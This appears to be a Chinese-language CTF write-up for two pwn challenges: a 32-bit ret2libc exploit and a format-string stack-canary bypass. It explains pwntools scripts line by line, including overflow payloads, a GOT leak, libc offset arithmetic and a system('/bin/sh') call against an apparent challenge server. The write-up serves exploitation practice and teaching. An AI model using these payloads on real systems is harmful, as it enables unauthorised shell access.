Ret2libc
先查一下壳
32位,放入IDA中看看
查看一下
vulnerable_function();这个函数
Read函数,很明显的栈溢出
但是观察半天,发现这里并没有system函数
字符搜索我们看到了libc.so.6
可以想到libc函数库以及
PLT表中的代码会根据函数在GOT表的索引,先通过GOT表中的指针获取到函数的地址,然后再跳转到函数的实际代码。
什么是libc?
libc是指C标准库(C Standard Library),它是C语言的一个重要组成部分,提供了一系列的函数和符号,用于支持C语言程序的常用操作和功能。C标准库包含了众多的头文件(header files),每个头文件中都定义了一些常用的函数原型、宏定义和数据类型。常见的C标准库头文件包括stdio.h(输入输出操作)、stdlib.h(内存管理、类型转换)、string.h(字符串处理)、math.h(数学运算)、time.h(时间和日期)等等。通过引入C标准库,开发者可以方便地利用库中的函数来执行各种常见的操作,如输入输出、字符串处理、内存分配等。C标准库的实现通常是和编译器绑定在一起,为程序员提供了必要的功能,使得开发更加方便、高效。在大多数操作系统和编译器中,libc都是默认包含的
同时我们看到哪些函数使用了plt表和got表
我们找到这got表和plt表的地址
但是我们要知道libc的版本型号是不一样的那同样,偏移的地址也就不一样
但是最开始我们得至少得知道write函数的地址
通过我们对服务器进行测试
看到尾部4d0
我们可以用https://libc.blukat.me
去查看一下
然后通过脚本,我们解读一下思路
这段代码是一个使用pwntools库进行漏洞利用的例子。它的目标是利用一个堆栈溢出漏洞将程序中的流程控制转移到libc库中的system函数,并执行/bin/sh。
下面是代码的逐行解释:
from pwn import *
:导入pwntools库,用于进行二进制漏洞利用。context.log_level = "debug"
:配置日志输出级别为debug,以便在执行过程中显示更多调试信息。p = remote('125.217.36.12', 30640)
:创建一个远程连接,连接到指定的IP地址和端口。elf = ELF('/home/back/stack_example/ret2libc')
:使用pwntools中的ELF模块打开目标程序,以便获取其中的符号信息。- 定义了一些需要的地址,如
write_plt
(write函数的PLT表地址)、write_got
(write函数的GOT表地址)和main_addr
(main函数的地址)。 playload = b'a'*(0x88+0x04) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
:构造第一个payload,用于泄露write函数的地址。p.sendlineafter("Input:\n", playload)
:将第一个payload发送到远程连接的目标程序当中,以触发堆栈溢出漏洞。write_addr = u32(p.recv()[0:4])
:接收从目标程序返回的数据,并提取前4个字节(即write函数的地址),使用u32()
将其转换为32位的无符号整数。write_base = 0xd44d0
、system_base = 0x3a950
、bin_sh_addr = 0x15912b
:定义一些libc库中的偏移量和地址。offset = write_addr - write_base
:计算libc库基地址与write函数的地址之间的偏移量。system_addr = offset + system_base
、bin_sh_addr = offset + bin_sh_addr
:计算system函数和/bin/sh字符串的地址,通过加上偏移量来得到实际的地址。playload2 = b'A'*(0x88+0x04) + p32(system_addr) + b'A'*4 + p32(bin_sh_addr)
:构造第二个payload,用于调用system函数,并传递/bin/sh字符串作为参数。p.sendline(playload2)
:发送第二个payload到目标程序,以完成对system函数的调用和参数传递。p.interactive()
:进入交互模式,使我们能够与目标程序进行交互,从而执行进一步的命令。
这段代码的目的是通过堆栈溢出漏洞,获取write函数的地址,计算libc库的基地址,并通过修改返回地址,将流程控制转移到system函数,最终执行/bin/sh。请注意,具体的地址和偏移量需要根据目标环境的实际情况进行调整。
格式化字符+Canary绕过
放入IDA通过主函数我们看到两个函数
第一个函数有做了一个格式化,用printf做了输出
第二个函数看到有栈溢出
我们再看到
Buf里面
从上图我们也可以看出
发现var_8是个固定的参数,这里就是栈的保护了,如果这个数被被改变的话程
序将将会终止,那么我们的思路
利用格式化函数将var_8参数的数值暴露出来
同时,然后再将该值输入,利用第二个函数造成栈溢出
在一个我们看到这个函数中
那么栈溢出的地址应该是这里
通过gbg的调试我们看到
到11位置,通常00结尾就是
但这里11是十六进制,同时我们可在程序里输入“aaaa”,回显后出现的是61616161,但是前面会有6个数值
%p可以泄露十六位的地址
Buf和V2值差距是0x11
再加上偏移位就是23
看到脚本
这段代码是一个使用pwntools库进行漏洞利用的例子。它的目标是利用一个格式化字符串漏洞以及栈溢出漏洞,获取目标程序中的栈保护字(canary),并控制程序流程。
下面是代码的逐行解释:
from pwn import *
:导入pwntools库,用于进行二进制漏洞利用。context(os='linux', arch='amd64', log_level='debug')
:配置pwntools运行环境,设定操作系统为Linux,架构为amd64,并设置日志输出级别为debug。p = remote('125.217.36.12', 30391)
:创建一个远程连接,连接到指定的IP地址和端口。
4.通过发送指令,获取目标程序的栈保护字(canary)的值。具体方式是发送指令"2",然后发送一个格式化字符串"%23$p"用于泄露栈保护字的值。接收到的数据会通过int()函数将其转换为十六进制数,存储到变量tmp中。然后再使用p64()函数将其转换为64位大小的字节串。
5.构造payload。其中包括填充"a"*(0x88)来覆盖掉栈上的数据,接着是栈保护字canary,然后是两个0作为填充,最后是要跳转到的函数地址0x4008DA。
6.发送一个指令以触发栈溢出漏洞,具体指令为"1"。
7.发送payload,将其作为输入发送到目标程序。
8.进入交互模式,使我们能够与目标程序进行交互,从而执行进一步的命令。
这段代码的目的是利用格式化字符串漏洞获取目标程序的栈保护字,然后通过栈溢出漏洞修改返回地址跳转到指定的函数地址。请注意,具体的地址和偏移量需要根据目标环境的实际情况进行调整。